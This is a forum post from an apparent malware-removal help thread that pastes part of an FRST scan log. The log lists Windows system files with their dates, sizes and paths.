2017-03-18 22:57 - 2017-03-18 22:57 - 00243824 _____ (Microsoft Corporation) C:\windows\system32\weretw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00242176 _____ (Microsoft Corporation) C:\windows\system32\fhengine.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00241152 _____ (Microsoft Corporation) C:\windows\system32\WinSCard.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00241152 _____ (Microsoft Corporation) C:\windows\system32\wdmaud.drv
2017-03-18 22:57 - 2017-03-18 22:57 - 00241152 _____ (Microsoft Corporation) C:\windows\system32\mlang.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00240640 _____ (Microsoft Corporation) C:\windows\SysWOW64\dlnashext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00239616 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ahcache.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00238080 _____ (Microsoft Corporation) C:\windows\system32\vdsbas.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00237568 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Devices.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00234496 _____ (Microsoft Corporation) C:\windows\system32\wevtutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00234496 _____ (Microsoft Corporation) C:\windows\system32\cdd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00234400 _____ (Microsoft Corporation) C:\windows\system32\unattend.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00232960 _____ (Microsoft Corporation) C:\windows\system32\mpeval.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\miutils.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00231976 _____ (Microsoft Corporation) C:\windows\system32\rometadata.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00231936 _____ (Microsoft Corporation) C:\windows\system32\DolbyMATEnc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00230400 _____ (Microsoft Corporation) C:\windows\system32\tcpipcfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00229888 _____ (Microsoft Corporation) C:\windows\system32\wscapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00229888 _____ (Microsoft Corporation) C:\windows\system32\flvprophandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00228864 _____ (Microsoft Corporation) C:\windows\system32\deviceregistration.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00228352 _____ (Microsoft Corporation) C:\windows\system32\iscsicpl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00227840 _____ (Microsoft Corporation) C:\windows\system32\C_G18030.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00226304 _____ (Microsoft Corporation) C:\windows\system32\windowslivelogin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00225280 _____ (Microsoft Corporation) C:\windows\system32\odbcint.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00225280 _____ (Microsoft Corporation) C:\windows\system32\iasrad.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00225280 _____ (Microsoft Corporation) C:\windows\system32\els.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00224672 _____ (Microsoft Corporation) C:\windows\system32\ifsutil.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00224256 _____ (Microsoft Corporation) C:\windows\system32\WebClnt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00223232 _____ (Microsoft Corporation) C:\windows\system32\TtlsExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00223232 _____ (Microsoft Corporation) C:\windows\system32\bcastdvr.proxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00222688 _____ (Microsoft Corporation) C:\windows\system32\vac.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00222136 _____ (Microsoft Corporation) C:\windows\system32\AudioSrvPolicyManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00221184 _____ (Microsoft Corporation) C:\windows\system32\gpresult.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00220672 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WUDFRd.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\JpnServiceDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00218528 _____ (Microsoft Corporation) C:\windows\system32\ResourcePolicyServer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00217088 _____ (Microsoft Corporation) C:\windows\system32\dhcpsapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00217016 _____ (Microsoft Corporation) C:\windows\system32\IPHLPAPI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00216992 _____ (Microsoft Corporation) C:\windows\SysWOW64\wdscore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00216576 _____ (Microsoft Corporation) C:\windows\system32\devicengccredprov.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00216480 _____ (Microsoft Corporation) C:\windows\system32\kd_02_14e4.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00215552 _____ (Microsoft Corporation) C:\windows\system32\msoeacct.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00215456 _____ (Microsoft Corporation) C:\windows\system32\Drivers\VerifierExt.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00215040 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToReceiver.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00215040 _____ (Microsoft Corporation) C:\windows\system32\fwpolicyiomgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00215040 _____ (Microsoft Corporation) C:\windows\system32\ContactHarvesterDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00213504 _____ (Microsoft Corporation) C:\windows\system32\dinput8.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00211456 _____ (Microsoft Corporation) C:\windows\system32\sdiageng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\wscsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00208384 _____ (Microsoft Corporation) C:\windows\system32\WLanHC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00208384 _____ (Microsoft Corporation) C:\windows\system32\sstpsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00208288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wof.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00206336 _____ (Microsoft Corporation) C:\windows\system32\OmaDmAgent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00203264 _____ (Microsoft Corporation) C:\windows\system32\netprofm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00203264 _____ (Microsoft Corporation) C:\windows\system32\netiohlp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00203264 _____ (Microsoft Corporation) C:\windows\system32\EhStorShell.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00203264 _____ (Microsoft Corporation) C:\windows\system32\bitsadmin.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00202752 _____ (Microsoft Corporation) C:\windows\SysWOW64\PkgMgr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00202752 _____ (Microsoft Corporation) C:\windows\system32\wecsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00202240 _____ (Microsoft Corporation) C:\windows\system32\sqlceoledb40.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00202240 _____ (Microsoft Corporation) C:\windows\system32\auditcse.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00201728 _____ (Microsoft Corporation) C:\windows\system32\uireng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00201216 _____ (Microsoft Corporation) C:\windows\system32\IdListen.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00200704 _____ (Microsoft Corporation) C:\windows\system32\icsigd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00200192 _____ (Microsoft Corporation) C:\windows\system32\ScDeviceEnum.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00199168 _____ (Microsoft Corporation) C:\windows\system32\wlandlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00199072 _____ (Microsoft Corporation) C:\windows\system32\basecsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00197632 _____ (Microsoft Corporation) C:\windows\system32\LegacyNetUXHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00196642 _____ C:\windows\system32\C_950.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00196642 _____ C:\windows\system32\C_949.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00196642 _____ C:\windows\system32\C_936.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00195618 _____ C:\windows\SysWOW64\C_10002.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00195618 _____ C:\windows\system32\C_10002.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00195584 _____ (Microsoft Corporation) C:\windows\system32\dsdmo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00195072 _____ (Microsoft Corporation) C:\windows\system32\FilterDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00195072 _____ (Microsoft Corporation) C:\windows\system32\cic.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00194560 _____ (Microsoft Corporation) C:\windows\system32\rpchttp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00194048 _____ (Microsoft Corporation) C:\windows\system32\itircl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00193024 _____ C:\windows\system32\IHDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00192512 _____ (Microsoft Corporation) C:\windows\system32\sbeio.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00192264 _____ (Microsoft Corporation) C:\windows\system32\mfsensorgroup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00189986 _____ C:\windows\system32\C_1361.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00189952 _____ (Microsoft Corporation) C:\windows\system32\certprop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00187938 _____ C:\windows\system32\C_20005.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00187392 _____ (Microsoft Corporation) C:\windows\system32\qcap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00187392 _____ (Microsoft Corporation) C:\windows\system32\LicensingDiagSpp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00186402 _____ C:\windows\system32\C_20001.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00186368 _____ (Microsoft Corporation) C:\windows\system32\L2SecHC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00186368 _____ (Microsoft Corporation) C:\windows\system32\irftp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00185378 _____ C:\windows\system32\C_20003.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00184832 _____ (Microsoft Corporation) C:\windows\system32\msconfig.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00184320 _____ (Microsoft Corporation) C:\windows\system32\WUDFPlatform.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00184320 _____ (Microsoft Corporation) C:\windows\system32\LaunchTM.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00183808 _____ (Microsoft Corporation) C:\windows\system32\miguiresource.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00183296 _____ (Microsoft Corporation) C:\windows\system32\modemui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00183296 _____ (Microsoft Corporation) C:\windows\system32\dialclient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00182784 _____ (Microsoft Corporation) C:\windows\system32\ReInfo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00181912 _____ (Microsoft Corporation) C:\windows\system32\sspicli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00181664 _____ (Microsoft Corporation) C:\windows\system32\wermgr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00181248 _____ (Microsoft Corporation) C:\windows\system32\mskeyprotcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00180770 _____ C:\windows\system32\C_20932.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00180258 _____ C:\windows\system32\C_20004.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00180258 _____ C:\windows\system32\C_20000.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00180128 _____ (Microsoft Corporation) C:\windows\system32\ulib.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00179712 _____ (Microsoft Corporation) C:\windows\system32\rtm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00179712 _____ (Microsoft Corporation) C:\windows\system32\AppxSip.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00178176 _____ (Microsoft Corporation) C:\windows\system32\iasrecst.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00177698 _____ C:\windows\SysWOW64\C_10003.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00177698 _____ C:\windows\system32\C_20949.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00177698 _____ C:\windows\system32\C_10003.NLS

Twix. 06.06.2017 11:47
FRST9:
Code:
2017-03-18 22:57 - 2017-03-18 22:57 - 00177664 _____ (Microsoft Corporation) C:\windows\system32\sppnp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00177152 _____ (Microsoft Corporation) C:\windows\system32\dmvdsitf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00176128 _____ (Microsoft Corporation) C:\windows\system32\perfmon.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00176128 _____ (Microsoft Corporation) C:\windows\system32\globinputhost.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00175616 _____ (Microsoft Corporation) C:\windows\system32\netid.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00175616 _____ (Microsoft Corporation) C:\windows\system32\EditionUpgradeHelper.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00175520 _____ (Microsoft Corporation) C:\windows\system32\Drivers\scsiport.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00175224 _____ (Microsoft Corporation) C:\windows\system32\RTWorkQ.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00175104 _____ (Microsoft Corporation) C:\windows\system32\net1.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00175104 _____ (Microsoft Corporation) C:\windows\system32\dot3mm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00174592 _____ (Microsoft Corporation) C:\windows\system32\nlmgp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00173656 _____ (Microsoft Corporation) C:\windows\system32\imm32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00173602 _____ C:\windows\SysWOW64\C_10008.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00173602 _____ C:\windows\system32\C_20936.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00173602 _____ C:\windows\system32\C_20002.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00173602 _____ C:\windows\system32\C_10008.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00173056 _____ (Microsoft Corporation) C:\windows\system32\mdminst.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00172032 _____ (Microsoft Corporation) C:\windows\system32\WPTaskScheduler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00172032 _____ (Microsoft Corporation) C:\windows\system32\sdiagprv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00171520 _____ (Microsoft Corporation) C:\windows\system32\trie.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00171520 _____ (Microsoft Corporation) C:\windows\system32\itss.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00171416 _____ (Microsoft Corporation) C:\windows\system32\uxlib.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00169984 _____ (Microsoft Corporation) C:\windows\system32\easwrt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00169888 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msgpioclx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00169472 _____ (Microsoft Corporation) C:\windows\system32\dsprop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00168448 _____ (Microsoft Corporation) C:\windows\system32\dps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00167424 _____ (Microsoft Corporation) C:\windows\system32\NcaSvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00166912 _____ (Microsoft Corporation) C:\windows\system32\Tabbtn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00166400 _____ (Microsoft Corporation) C:\windows\system32\VBICodec.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00166400 _____ (Microsoft Corporation) C:\windows\system32\uudf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00166400 _____ (Microsoft Corporation) C:\windows\system32\keymgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00165888 _____ (Microsoft Corporation) C:\windows\system32\TimeBrokerServer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00165888 _____ (Microsoft Corporation) C:\windows\system32\ocsetapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00165376 _____ (Microsoft Corporation) C:\windows\system32\odbctrac.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00164768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wfplwfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00164352 _____ (Microsoft Corporation) C:\windows\system32\oledlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00162850 _____ C:\windows\SysWOW64\C_10001.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00162850 _____ C:\windows\system32\C_932.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00162850 _____ C:\windows\system32\C_10001.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00162816 _____ (Microsoft Corporation) C:\windows\system32\dialserver.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00162792 _____ (Microsoft Corporation) C:\windows\system32\winmmbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00160768 _____ (Microsoft Corporation) C:\windows\system32\dinput.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\fsutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\appidpolicyconverter.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00159648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\partmgr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00158720 _____ (Microsoft Corporation) C:\windows\system32\Windows.Storage.Compression.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00158720 _____ (Microsoft Corporation) C:\windows\system32\drvinst.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00158208 _____ (Microsoft Corporation) C:\windows\system32\netjoin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00157696 _____ (Microsoft Corporation) C:\windows\system32\Windows.Help.Runtime.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\ngckeyenum.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\mimofcodec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00155648 _____ (Microsoft Corporation) C:\windows\system32\wscinterop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00155648 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceSyncProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00155648 _____ (Microsoft Corporation) C:\windows\system32\diskpart.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\RelPost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\msdadiag.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\msaudite.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\iscsicli.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00154624 _____ (Microsoft Corporation) C:\windows\system32\fwbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00154528 _____ (Microsoft Corporation) C:\windows\system32\consent.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00154112 _____ (Microsoft Corporation) C:\windows\system32\bthserv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00154016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\SerCx2.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00152992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pacer.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00152576 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfdvdec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00152576 _____ (Microsoft Corporation) C:\windows\system32\playtomenu.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00152576 _____ (Microsoft Corporation) C:\windows\system32\fhshl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00152064 _____ (Microsoft Corporation) C:\windows\system32\ufat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00151040 _____ (Microsoft Corporation) C:\windows\system32\ETWCoreUIComponentsResources.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150528 _____ (Microsoft Corporation) C:\windows\system32\qasf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150528 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dfsc.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00150528 _____ (Microsoft Corporation) C:\windows\system32\dbgcore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\VocabRoamingHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\mmgaproxystub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\iscsiexe.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rmcast.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\dmwmicsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00149880 _____ (Microsoft Corporation) C:\windows\system32\gdi32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\fundisc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00149044 _____ C:\windows\system32\LargeRoom.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\fdWSD.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00147456 _____ (Microsoft Corporation) C:\windows\system32\TabSvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00147456 _____ (Microsoft Corporation) C:\windows\system32\ntdsapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00147456 _____ (Microsoft Corporation) C:\windows\system32\msdtc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00146336 _____ (Microsoft Corporation) C:\windows\system32\Windows.StateRepositoryClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00146264 _____ (Microsoft Corporation) C:\windows\system32\LicensingUI.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00145920 _____ (Microsoft Corporation) C:\windows\system32\immersivetpmvscmgrsvr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00145920 _____ (Microsoft Corporation) C:\windows\system32\fsquirt.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00145920 _____ (Microsoft Corporation) C:\windows\system32\eapsimextdesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00145622 _____ C:\windows\system32\devmgmt.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00145519 _____ C:\windows\system32\perfmon.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00145408 _____ (Microsoft Corporation) C:\windows\system32\CastingShellExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00145127 _____ C:\windows\system32\eventvwr.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00145059 _____ C:\windows\system32\taskschd.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00144909 _____ C:\windows\system32\fsmgmt.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00144862 _____ C:\windows\system32\tpm.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00144673 _____ C:\windows\system32\WmiMgmt.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00144384 _____ (Microsoft Corporation) C:\windows\system32\profsvcext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00144384 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mrxdav.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00144176 _____ (Microsoft Corporation) C:\windows\system32\smss.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00143872 _____ (Microsoft Corporation) C:\windows\system32\vssadmin.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00143736 _____ (Microsoft Corporation) C:\windows\system32\WerFaultSecure.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00142904 _____ C:\windows\system32\slmgr.vbs
2017-03-18 22:57 - 2017-03-18 22:57 - 00142848 _____ (Microsoft Corporation) C:\windows\system32\xwtpw32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142848 _____ (Microsoft Corporation) C:\windows\system32\advpack.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142336 _____ (Microsoft Corporation) C:\windows\system32\provpackageapidll.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142336 _____ (Microsoft Corporation) C:\windows\system32\mtxoci.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142336 _____ (Microsoft Corporation) C:\windows\system32\msvfw32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142336 _____ (Microsoft Corporation) C:\windows\system32\iasnap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00142240 _____ (Microsoft Corporation) C:\windows\system32\migisol.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00141824 _____ (Microsoft Corporation) C:\windows\system32\tpmvscmgrsvr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00141312 _____ (Microsoft Corporation) C:\windows\system32\sppwmi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00141312 _____ (Microsoft Corporation) C:\windows\system32\iassvcs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00140800 _____ (Microsoft Corporation) C:\windows\system32\rmttpmvscmgrsvr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\D3DSCache.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00139810 _____ C:\windows\system32\C_20261.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00139776 _____ (Microsoft Corporation) C:\windows\system32\fhmanagew.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00139264 _____ (Microsoft Corporation) C:\windows\system32\sqlcecompact40.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00139264 _____ (Microsoft Corporation) C:\windows\system32\slc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00139264 _____ (Microsoft Corporation) C:\windows\system32\dmview.ocx
2017-03-18 22:57 - 2017-03-18 22:57 - 00138752 _____ (Microsoft Corporation) C:\windows\system32\appinfo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00138544 _____ (Microsoft Corporation) C:\windows\system32\cabinet.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00136704 _____ (Microsoft Corporation) C:\windows\system32\StaticDictDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00136192 _____ (Microsoft Corporation) C:\windows\system32\Windows.StateRepositoryUpgrade.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00136088 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksecdd.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00135680 _____ (Microsoft Corporation) C:\windows\system32\shsetup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00135680 _____ (Microsoft Corporation) C:\windows\system32\DAMediaManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00135584 _____ (Microsoft Corporation) C:\windows\system32\ImplatSetup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00135400 _____ (Microsoft Corporation) C:\windows\system32\AuthHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00135168 _____ (Microsoft Corporation) C:\windows\system32\sppc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00134656 _____ (Microsoft Corporation) C:\windows\system32\msdart.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00134656 _____ (Microsoft Corporation) C:\windows\system32\imapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00134144 _____ (Microsoft Corporation) C:\windows\system32\DeviceMetadataRetrievalClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00133632 _____ (Microsoft Corporation) C:\windows\system32\Kswdmcap.ax
